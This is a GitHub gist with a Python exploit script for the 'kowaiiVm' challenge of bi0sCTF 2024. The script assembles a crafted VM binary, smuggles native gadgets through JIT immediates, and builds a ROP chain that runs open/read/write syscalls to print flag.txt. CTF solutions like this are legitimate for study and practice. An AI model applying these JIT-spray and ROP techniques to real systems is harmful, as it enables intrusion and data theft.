Skip to content

Instantly share code, notes, and snippets.

@k1R4
Created February 26, 2024 18:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k1R4/896eb049d42c06a5922d1c8b8d0707b4 to your computer and use it in GitHub Desktop.
Save k1R4/896eb049d42c06a5922d1c8b8d0707b4 to your computer and use it in GitHub Desktop.
kowaiiVm - bi0sCTF 2024
#!/usr/bin/env python3
from dn3 import *
opcodes = {
"ADD": 0xb0,
"SUB": 0xb1,
"MUL": 0xb2,
"SHR": 0xb3,
"SHL": 0xb4,
"PUSH": 0xb5,
"POP": 0xb6,
"GET": 0xb7,
"SET": 0xb8,
"MOV": 0xb9,
"CALL": 0xba,
"RET": 0xbb,
"NOP": 0xbc,
"HLT": 0xbf,
"X0": 0x0,
"X1": 0x1,
"X2": 0x2,
"X3": 0x3,
"X4": 0x4,
"X5": 0x5,
}
class kowaiiBin():
def __init__(self, entry:int, bss:int):
self.entry = entry
self.bss = bss
self.bssData = {}
self.funcEntries = {}
return
def raw(self) -> str:
funcAddrs = list(self.funcEntries.keys())
bssOffsets = list(self.bssData.keys())
funcAddrs.sort()
raw_bin = ""
raw_bin += "KOWAII" # Header
raw_bin += p16(self.entry) # Entry point
raw_bin += p32(0xdeadc0de) # Magic value
raw_bin += p16(self.bss) # .bss start
raw_bin += p8(len(funcAddrs)) # No.of functions
for addr in funcAddrs:
funcEntry = ""
funcEntry += self.funcEntries[addr]["hash"] # Hash/Unique identifier
funcEntry += p64(addr) # Address
funcEntry += p8(len(self.funcEntries[addr]["code"])) # Size
funcEntry += p8(0) # Call count
raw_bin += funcEntry
for addr in funcAddrs:
raw_bin = raw_bin.ljust(addr,"\x00")
raw_bin += self.funcEntries[addr]["code"] # Place code at correct offsets
raw_bin = raw_bin.ljust(self.bss, "\x00")
for offset in bssOffsets:
raw_bin = raw_bin.ljust(self.bss+offset, "\x00")
raw_bin += p64(self.bssData[offset])
raw_bin += "\n"
return raw_bin
def addFunc(self, hash:str, address: int, code: str):
self.funcEntries[address] = {"hash": hash, "code": self.assembleCode(code)}
def addConst(self, val: int, offset: int):
self.bssData[offset] = val
def assembleCode(self, code: str) -> str:
bytecode = ""
prev_opcode = ""
for line in code.split("\n"):
curr_op = ""
count = 1
line = line.replace(",", "")
line = line.rstrip(" ").lstrip(" ")
if line.startswith("#"):
continue
line = line.split()
if len(line) > 2 and line[-2] == "*":
count = int(line[-1])
line = line[:-2]
for token in line:
token = token.upper()
if token not in opcodes.keys():
try:
if prev_opcode == "CALL":
curr_op += token.lower()[:2]
continue
if "X" in token:
num = int(token,16)
else:
num = int(token)
if prev_opcode in ["MOV", "GET", "SET"]:
curr_op += p32(num)
elif prev_opcode in ["SHR", "SHL"]:
curr_op += p8(num)
continue
except:
continue
curr_op += chr(opcodes[token])
if not token.startswith("X"):
prev_opcode = token.upper()
bytecode += curr_op*count
return bytecode
exe = ELF("kowaiiVm.dbg")
ctx.binary = exe
ctx.terminal = "kitty".split()
ctx.log = 0
#ctx.aslr = False
global io
breakpoints = '''
break jitEnc
break jitCall
'''+"continue\n"*1
host, port = "localhost",1337
if len(sys.argv) > 1 and sys.argv[1] == "-r":
io = remote(host,port)
elif len(sys.argv) > 1 and sys.argv[1] == "-ng":
io = process(exe.path)
else:
io = gdb(exe.path, gdbscript=breakpoints)
DeathNot3(io)
def push_addr(offset):
return f"""
mov x4, {offset}
add x3, x2, x4
push x3
"""
def push_imm(imm):
return f"""
mov x4, {imm}
push x4
"""
kb = kowaiiBin(entry = 0x1000, bss = 0xc000)
kb.addConst(0x5b40000000001b8, 0x300)
kb.addConst(0x5b401b9bcbcbcbc, 0x308)
kb.addConst(upk("flag.txt"), 0x310)
_pop_rdi_rsi_rdx_ret = upk("\x5f\x5e\x5a\xc3")
_pop_rax_syscall_ret = upk("\x58\x0f\x05\xc3")
pop_rdi_rsi_rdx_ret = 0x1d
pop_rax_syscall_ret = 0x23
kb.addFunc("en", 0x1000, f"""
mov x1, 0x1
{'''
call ab
get x1, 0x300
set x1, 0x0
'''*11}
hlt
""")
ropchain = [
push_addr(pop_rax_syscall_ret),
push_imm(2),
push_addr(pop_rdi_rsi_rdx_ret),
push_imm(0),
"push x5",
push_imm(0x40),
push_addr(pop_rax_syscall_ret),
push_imm(0),
push_addr(pop_rdi_rsi_rdx_ret),
push_imm(1),
"push x5",
push_imm(0x40),
push_addr(pop_rax_syscall_ret),
push_imm(1)
]
kb.addFunc("ab", 0xbff0, f"""
get x1, 0x308
nop * 10
set x1, 0x0
shl x5, 0xff
ret
get x2, 0xffff401d
get x5, 0xffff4011
mov x0, {_pop_rdi_rsi_rdx_ret}
mov x0, {_pop_rax_syscall_ret}
mov x1, 0xb310
add x5, x1, x5
{chr(0xa).join(ropchain[::-1])}
mov x4, 0x0
push x4
push x4
push x5
{push_addr(pop_rdi_rsi_rdx_ret)}
ret
""")
sla("> ", kb.raw())
sla("> ", "y")
shell()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment